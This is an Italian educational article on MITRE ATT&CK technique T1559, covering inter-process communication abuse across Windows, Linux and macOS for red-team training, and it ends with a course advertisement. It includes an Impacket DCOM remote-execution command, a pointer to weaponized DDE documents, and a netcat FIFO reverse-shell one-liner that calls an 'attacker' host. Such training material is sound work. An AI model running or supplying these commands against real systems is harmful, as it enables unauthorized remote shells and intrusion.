Comunicazione tra Processi: Inter-Process Communication (T1559)

La tecnica T1559 — Inter-Process Communication descrive l'abuso dei meccanismi di comunicazione tra processi per ottenere l'esecuzione di codice o comandi arbitrari sul sistema locale. L'IPC è un elemento fondamentale di ogni sistema operativo moderno: consente ai processi di scambiare dati, sincronizzare l'esecuzione ed evitare deadlock. Proprio questa ubiquità la rende una superficie d'attacco particolarmente attraente, perché il traffico IPC legittimo è enorme e mimetizzare attività malevole risulta relativamente semplice.

Sul piano tattico la tecnica ricade in TA0002 (Execution), la fase in cui l'attaccante fa girare codice sotto il proprio controllo. In termini di kill chain, T1559 si colloca tipicamente dopo l'accesso iniziale e prima della persistenza o del movimento laterale, spesso in combinazione con interpreti di comandi e script. Le implementazioni variano per sistema operativo: su Windows dominano Dynamic Data Exchange, Component Object Model e le named pipe; su Linux troviamo socket UNIX, pipe anonime e code di messaggi; su macOS entrano in gioco Mach port, Apple Events e XPC services. Anche meccanismi remoti come DCOM rientrano nella famiglia.

I dati MITRE censiscono 14 famiglie di malware, 2 campagne documentate e 6 mitigazioni. L'impatto è trasversale: dal ransomware Medusa che sfrutta CreatePipe per orchestrare i moduli, fino a impianti sofisticati come Cyclops Blink e Uroburos che usano named pipe per la comunicazione tra kernel e user mode.

Per un red team, T1559 offre catene di esecuzione estremamente eleganti perché sfruttano funzionalità legittime del sistema. Su Windows la superficie più ricca resta il Component Object Model: strumenti come Impacket (open source) permettono di abusare di DCOM per esecuzione remota tramite oggetti come MMC20.Application, ShellWindows o ShellBrowserWindow. Il modulo dcomexec.py di Impacket è il riferimento pratico:

dcomexec.py -object MMC20 domain/user:password@target

Questo pattern evita la creazione di servizi remoti (a differenza di PsExec) e lascia tracce meno evidenti nei log di sistema.

Le named pipe rimangono un vettore classico per code execution e privilege escalation locale. Framework come Cobalt Strike (a pagamento) e Sliver (open source) usano pipe SMB per il comando dei beacon (\.\pipe\msagent_xx), mentre tecniche di named pipe impersonation permettono di elevare privilegi sfruttando ImpersonateNamedPipeClient. In laboratorio, PipeViewer (open source) di CyberArk aiuta a enumerare le pipe esistenti e i loro DACL per identificare quelle scrivibili da utenti a basso privilegio.

Per DDE, ancora funzionante su installazioni Office non aggiornate o con protezioni disabilitate, si possono generare documenti weaponizzati con macro_pack (open source) o costruire manualmente campi DDEAUTO che invocano cmd.exe. La simulazione della Campagna C0048 (Operation MidnightEclipse) replica il pattern osservato: scrivere output su stdout e ridirigerlo a bash per l'esecuzione, tecnica applicabile a exploit di command injection su appliance.

Su Linux, la simulazione di RotaJakiro (S1078) e PITSTOP (S1123) è istruttiva: il primo usa shmget per creare shared memory tra processi malevoli, il secondo ascolta su socket UNIX in path prevedibili. Uno script Python che apre un socket UNIX in /tmp e riceve comandi da eseguire riproduce il vettore in modo lab-safe. Per named pipe Linux (FIFO) la sequenza mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc attacker 4444 1>/tmp/backpipe è un classico che mostra come costruire reverse shell su pipe.

Su macOS il target sono Apple Events e XPC. osascript consente di inviare eventi ad applicazioni target per automazione malevola, mentre framework come Mythic (open source) includono payload che abusano di XPC per persistere e comunicare. Verificare sempre in lab il comportamento di TCC (Transparency, Consent, Control), che sulle versioni recenti di macOS blocca molti abusi di Apple Events senza consenso esplicito.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo

TEST GRATUITO
2 minuti · 7 domande Che professionista cyber sei? Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.